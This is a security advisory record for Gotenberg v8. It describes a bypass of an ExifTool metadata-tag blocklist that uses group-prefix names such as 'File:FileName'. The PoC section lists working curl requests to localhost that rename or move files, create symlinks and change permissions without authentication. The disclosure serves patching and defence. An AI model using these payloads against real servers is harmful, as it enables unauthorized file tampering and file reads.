{"id":"GHSA-7v3r-m9c8-r855","summary":"Gotenberg's ExifTool group-prefix syntax bypasses dangerous-tag blocklist","details":"**Summary**\n\nThe ExifTool metadata write blocklist in Gotenberg v8 can be bypassed using ExifTool's group-prefix syntax, enabling arbitrary file rename, move, hardlink, and symlink creation on the server. This is a bypass of the fix for GHSA-qmwh-9m9c-h36m.\n\n**Details**\n\nThe blocklist in `pkg/modules/exiftool/exiftool.go` filters four dangerous pseudo-tags (`FileName`, `Directory`, `HardLink`, `SymLink`) using `strings.EqualFold(key, tag)`. However, ExifTool supports group-prefix syntax where `File:FileName` is processed identically to `FileName` -- the prefix is stripped by `SetNewValue` in `Writer.pl` before tag matching.\n\nThe `safeKeyPattern` regex (`^[a-zA-Z0-9\\-_.:]+$`) allows colons, so prefixed tag names pass validation. Any prefix works: `File:FileName`, `System:Directory`, `a:HardLink`, etc.\n\nAdditionally, `FilePermissions`, `FileUserID`, and `FileGroupID` pseudo-tags are not blocked at all and can modify file attributes without any prefix.\n\n**PoC**\n\n```bash\n# Rename the converted PDF (bypasses FileName blocklist)\ncurl -F \"files=@test.pdf\" \\\n  -F 'metadata={\"File:FileName\":\"pwned.pdf\"}' \\\n  http://localhost:3000/forms/pdfengines/metadata/write\n\n# Move the file to /tmp (bypasses Directory blocklist)\ncurl -F \"files=@test.pdf\" \\\n  -F 'metadata={\"File:Directory\":\"/tmp\"}' \\\n  http://localhost:3000/forms/pdfengines/metadata/write\n\n# Create a symlink (bypasses SymLink blocklist)\ncurl -F \"files=@test.pdf\" \\\n  -F 'metadata={\"File:SymLink\":\"/tmp/symlink-poc\"}' \\\n  http://localhost:3000/forms/pdfengines/metadata/write\n\n# Change file permissions (not blocked at all)\ncurl -F \"files=@test.pdf\" \\\n  -F 'metadata={\"FilePermissions\":\"rwxrwxrwx\"}' \\\n  http://localhost:3000/forms/pdfengines/metadata/write\n```\n\n**Impact**\n\nPre-auth (no authentication by default). Attacker can rename, move, or create links to files within the Gotenberg container. In deployments with mounted volumes or non-containerized setups, this enables arbitrary file read via symlink chaining and file overwrite via directory manipulation.\n\nThis is a direct bypass of the fix for GHSA-qmwh-9m9c-h36m.","aliases":["CVE-2026-42590","GO-2026-5234"],"modified":"2026-07-21T13:51:55Z","published":"2026-05-07T00:55:44Z","database_specific":{"nvd_published_at":"2026-05-14T16:16:22Z","cwe_ids":["CWE-184"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-05-07T00:55:44Z"},"references":[{"type":"WEB","url":"https://github.com/gotenberg/gotenberg/security/advisories/GHSA-7v3r-m9c8-r855"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42590"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-qmwh-9m9c-h36m"},{"type":"PACKAGE","url":"https://github.com/gotenberg/gotenberg"}],"affected":[{"package":{"name":"github.com/gotenberg/gotenberg/v8","ecosystem":"Go","purl":"pkg:golang/github.com/gotenberg/gotenberg/v8"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"8.29.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-7v3r-m9c8-r855/GHSA-7v3r-m9c8-r855.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L"}]}